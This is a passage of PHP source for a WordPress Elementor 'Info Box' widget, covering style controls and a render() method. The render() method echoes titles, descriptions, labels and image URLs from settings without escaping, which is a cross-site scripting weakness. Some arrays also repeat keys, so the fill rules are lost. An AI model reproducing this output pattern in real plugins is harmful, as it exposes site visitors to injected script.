esc_html__( 'Icon Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main' => 'fill: {{VALUE}}', '{{WRAPPER}} .ee--image-icon-main' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_icon', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-main', ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_icon_border', 'selector' => '{{WRAPPER}} .ee--image-icon-main', ] ); $this->add_control( 'infobox_icon-border-radius', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_icon_box_shadow', 'selector' => '{{WRAPPER}} .ee--image-icon-main', ] ); $this->end_controls_tab(); $this->start_controls_tab( 'infobox_icon_hover', [ 'label' => esc_html__( 'Hover', 'papanbiswasbd' ), ] ); $this->add_control( 'infobox_icon_size_hover', [ 'label' => esc_html__( 'Icon Size', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 250, 'step' => 1, ], 'em' => [ 'min' => 0, 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main svg' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_icon_rotation_hover', [ 'label' => esc_html__( 'Icon Rotation', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 360, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main' => 'transform: rotate({{SIZE}}deg);', ], ] ); $this->add_control( 'infobox_icon_padding_hover', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_icon_color_hover', [ 'label' => esc_html__( 'Icon Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main' => 'fill: {{VALUE}}', '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_icon_hover', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main', ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_icon_border_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main', ] ); $this->add_control( 'infobox_icon-border_radius_hover', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_icon_box_shadow', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main', ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'infobox_image_style', [ 'label' => esc_html__( 'Image Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 'condition' => [ 'infobox_icon_image' => 'image', ], ] ); $this->start_controls_tabs( 'infobox_image_normal' ); $this->start_controls_tab( 'infobox_image_style_normal', [ 'label' => esc_html__( 'Normal', 'papanbiswasbd' ), ] ); $this->add_control( 'infobox_image_width', [ 'label' => esc_html__( 'Image Width', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 500, 'step' => 1, ], '%' => [ 'min' => 0, 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 100, ], 'default' => [ 'unit' => '%', 'size' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image img' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image_height', [ 'label' => esc_html__( 'Image Height', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 500, 'step' => 1, ], '%' => [ 'min' => 0, 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 100, ], 'default' => [ 'unit' => '%', 'size' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image img' => 'height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image_rotation', [ 'label' => esc_html__( 'Icon Rotation', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 360, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image' => 'transform: rotate({{SIZE}}deg);', ], ] ); $this->add_control( 'infobox_image-padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image img' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image-margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image img' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_image', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-main-image img', ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_image_border', 'selector' => '{{WRAPPER}} .ee--image-icon-main-image img', ] ); $this->add_control( 'infobox_image-border-radius', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-main-image img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_image_box_shadow', 'selector' => '{{WRAPPER}} .ee--image-icon-main-image img', ] ); $this->end_controls_tab(); $this->start_controls_tab( 'infobox_image_hover', [ 'label' => esc_html__( 'Hover', 'papanbiswasbd' ), ] ); $this->add_control( 'infobox_image_width_hover', [ 'label' => esc_html__( 'Image Width', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 500, 'step' => 1, ], '%' => [ 'min' => 0, 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 100, ], 'default' => [ 'unit' => '%', 'size' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image_height_hover', [ 'label' => esc_html__( 'Image Height', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 500, 'step' => 1, ], '%' => [ 'min' => 0, 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 100, ], 'default' => [ 'unit' => '%', 'size' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img' => 'height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image_rotation_hover', [ 'label' => esc_html__( 'Icon Rotation', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 1, 'max' => 360, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image' => 'transform: rotate({{SIZE}}deg);', ], ] ); $this->add_control( 'infobox_image-padding-hover', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_image-margin-hover', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_image_hover', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img', ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_image_border_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img', ] ); $this->add_control( 'infobox_image-border-radius-hover', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Box_Shadow::get_type(), [ 'name' => 'infobox_image_box_shadow', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-main-image img', ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'info_box_content_style', [ 'label' => esc_html__( 'Content Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, ] ); $this->start_controls_tabs( 'typography_style_tabs' ); $this->start_controls_tab( 'style_normal_tab_title', [ 'label' => esc_html__( 'Title', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), [ 'name' => 'infobox_title_typography', 'selector' => '{{WRAPPER}} .ee--image-icon-box-heading', ] ); $this->add_control( 'infobox_title_color', [ 'label' => esc_html__( 'Title Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-heading' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox_hover_title_color', [ 'label' => esc_html__( 'Title Hover Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-heading' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox-title-padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-heading' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox-title-margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-heading' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_normal_tab_subtitle', [ 'label' => esc_html__( 'Subtitle', 'papanbiswasbd' ), 'condition' => [ 'infobox_subtitle_switcher' => 'yes', ], ] ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), [ 'name' => 'infobox_subtitle_typography', 'selector' => '{{WRAPPER}} .ee--image-icon-box-subtitle', ] ); $this->add_control( 'infobox_subtitle_color', [ 'label' => esc_html__( 'Subtitle Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-subtitle' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox_hover_subtitle_color', [ 'label' => esc_html__( 'Subtitle Hover Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-subtitle' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox-subtitle-padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-subtitle' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox-subtitle-margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-subtitle' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_normal_tab_typography', [ 'label' => esc_html__( 'Description', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), [ 'name' => 'infobox_desc_typography', 'selector' => '{{WRAPPER}} .ee--image-icon-box-content', ] ); $this->add_control( 'infobox_desc_color', [ 'label' => esc_html__( 'Description Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-content' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox_hover_desc_color', [ 'label' => esc_html__( 'Description Hover Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-content' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'infobox_desc_padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_desc_margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-content' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'infobox_button_style', [ 'label' => esc_html__( 'Button Style', 'papanbiswasbd' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, 'condition' => [ 'infobox_button' => 'yes', ], ] ); $this->add_control( 'infobox_button_width', [ 'label' => esc_html__( 'Button Width', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ '%' ], 'range' => [ '%' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-button' => 'width: {{SIZE}}%;', ], ] ); $this->start_controls_tabs( 'button_style_tabs' ); $this->start_controls_tab( 'style_normal_tab_button', [ 'label' => esc_html__( 'Normal', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), [ 'name' => 'infobox_button_typography', 'selector' => '{{WRAPPER}} .ee--image-icon-box-button', ] ); $this->add_control( 'infobox_button_color', [ 'label' => esc_html__( 'Button Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-button' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_button', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-box-button', 'exclude' => ['image'], ] ); $this->add_control( 'infobox_button_padding', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_button_margin', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-button-wrap' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_button_border', 'selector' => '{{WRAPPER}} .ee--image-icon-box-button', ] ); $this->add_control( 'infobox_button_border_radius', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'hr', [ 'type' => \Elementor\Controls_Manager::DIVIDER, ] ); $this->add_control( 'infobox_button_icon_color', [ 'label' => esc_html__( 'Button Icon Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--button-icon' => 'color: {{VALUE}}', '{{WRAPPER}} .ee--button-icon' => 'fill: {{VALUE}}', ], ] ); $this->add_control( 'infobox_button_icon_width', [ 'label' => esc_html__( 'Icon Size', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 14, 'max' => 100, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--button-icon' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_button_icon_spacing_left', [ 'label' => esc_html__( 'Icon Spacing', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee-button' => 'gap: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'infobox_icon_position' => 'left', ], ] ); $this->add_control( 'infobox_button_icon_spacing_right', [ 'label' => esc_html__( 'Icon Spacing', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee-button' => 'gap: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'infobox_icon_position' => 'right', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'style_normal_tab_button_hover', [ 'label' => esc_html__( 'Hover', 'papanbiswasbd' ), ] ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), [ 'name' => 'infobox_button_typography_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button', ] ); $this->add_control( 'infobox_button_color_hover', [ 'label' => esc_html__( 'Button Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( \Elementor\Group_Control_Background::get_type(), [ 'name' => 'background_for_button_hover', 'types' => [ 'classic', 'gradient'], 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button', 'exclude' => ['image'], ] ); $this->add_control( 'infobox_button_padding_hover', [ 'label' => esc_html__( 'Padding', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_button_margin_hover', [ 'label' => esc_html__( 'Margin', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( \Elementor\Group_Control_Border::get_type(), [ 'name' => 'infobox_button_border_hover', 'selector' => '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button', ] ); $this->add_control( 'infobox_button_border_radius-hover', [ 'label' => esc_html__( 'Border Radius', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'default' => [ 'isLinked' => true, ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--image-icon-box-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'infobox_button_icon_color_hover', [ 'label' => esc_html__( 'Button Hover Icon Color', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--button-icon' => 'color: {{VALUE}}', '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--button-icon' => 'fill: {{VALUE}}', ], ] ); $this->add_control( 'infobox_button_icon_spacing_hover', [ 'label' => esc_html__( 'Icon Hover Spacing', 'papanbiswasbd' ), 'type' => \Elementor\Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], ], 'selectors' => [ '{{WRAPPER}} .ee--image-icon-box-wrapper:hover .ee--button-icon' => 'margin-right: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } /** * Render Info Box widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $style_1 = $settings['infobox_layout_style']; $hover_effect_1 = $settings['infobox_layout_style_hover_effect']; ?> <?php if ( 'style-2' === $settings['infobox_layout_style'] || 'style-1' === $settings['infobox_layout_style'] || 'style-3' === $settings['infobox_layout_style'] ) {?> <div class="ee--common-card ee--main ee--image-icon-box-wrapper <?php echo $style_1;?> <?php echo $hover_effect_1;?>"> <?php if ( 'yes' === $settings['infobox_label'] ) { echo '<span class="ee--image-icon-box-label">' . $settings['infobox_label_title'] . '</span>'; } ?> <?php if ( 'style-2' === $settings['infobox_layout_style'] ) {?> <?php echo '<div class="ee--infobox-primary-image"><img src="' . $settings['infobox_image']['url'] . '" alt=""></div>';?> <?php }?> <?php if ( 'icon' === $settings['infobox_icon_image'] ) { echo '<div class="ee--image-icon-main-wrap"><div class="ee--image-icon-main">'?> <?php \Elementor\Icons_Manager::render_icon( $settings['infobox_icon'], [ 'aria-hidden' => 'true' ] ); ?> <?php echo '</div></div>'; } if ( 'image' === $settings['infobox_icon_image'] ) { echo '<div class="ee--image-icon-main-image"><img src="' . $settings['infobox_image_icon']['url'] . '" alt=""></div>'; } ?> <div class="ee--image-icon-box-content-wrapper"> <h2 class="ee--image-icon-box-heading"><?php echo $settings['infobox_title']; ?></h2> <?php if ( 'yes' === $settings['infobox_subtitle_switcher'] ) { ?> <h4 class="ee--image-icon-box-subtitle"><?php echo $settings['infobox_subtitle']; ?></h4> <?php }?> <p class="ee--image-icon-box-content"><?php echo $settings['infobox_description']; ?></p> <?php if ( ! empty( $settings['infobox_button_link']['url'] ) ) { $this->add_link_attributes( 'infobox_button_link', $settings['infobox_button_link'] ); } ?> <?php if ( 'yes' === $settings['infobox_button'] ) { ?> <div class="ee--image-icon-box-button-wrap"> <a <?php $this->print_render_attribute_string( 'infobox_button_link' );?> class="ee-button ee--image-icon-box-button"> <?php if ( 'left' === $settings['infobox_icon_position'] ) { ?> <span class="ee--button-icon"><?php \Elementor\Icons_Manager::render_icon( $settings['imagebox_selected_icon'], [ 'aria-hidden' => 'true' ] ); ?></span> <?php }?> <?php echo $settings['infobox_button_title']; ?> <?php if ( 'right' === $settings['infobox_icon_position'] ) { ?> <span class="ee--button-icon"><?php \Elementor\Icons_Manager::render_icon( $settings['imagebox_selected_icon'], [ 'aria-hidden' => 'true' ] ); ?></span> <?php }?> </a> </div> <?php }?> <?php if ( $settings['infobox_social_icons'] ) { echo '<div class="infobox-social-icon-wrapper">'; foreach ( $settings['infobox_social_icons'] as $item ) { ?> <a href="#" class="infobox-social-icon-single"> <?php \Elementor\Icons_Manager::render_icon( $item['infobox_social_icon_item'], [ 'aria-hidden' => 'true' ] ); ?> </a> <?php } echo '</div>'; } ?> </div> </div> <?php }?> <?php if ( 'style_4' === $settings['infobox_layout_style'] ) {?><?php echo "Style 4 Coming Soon"?><?php }?> <?php if ( 'style_5' === $settings['infobox_layout_style'] ) {?><?php echo "Style 5 Coming Soon"?><?php }?> <?php } }
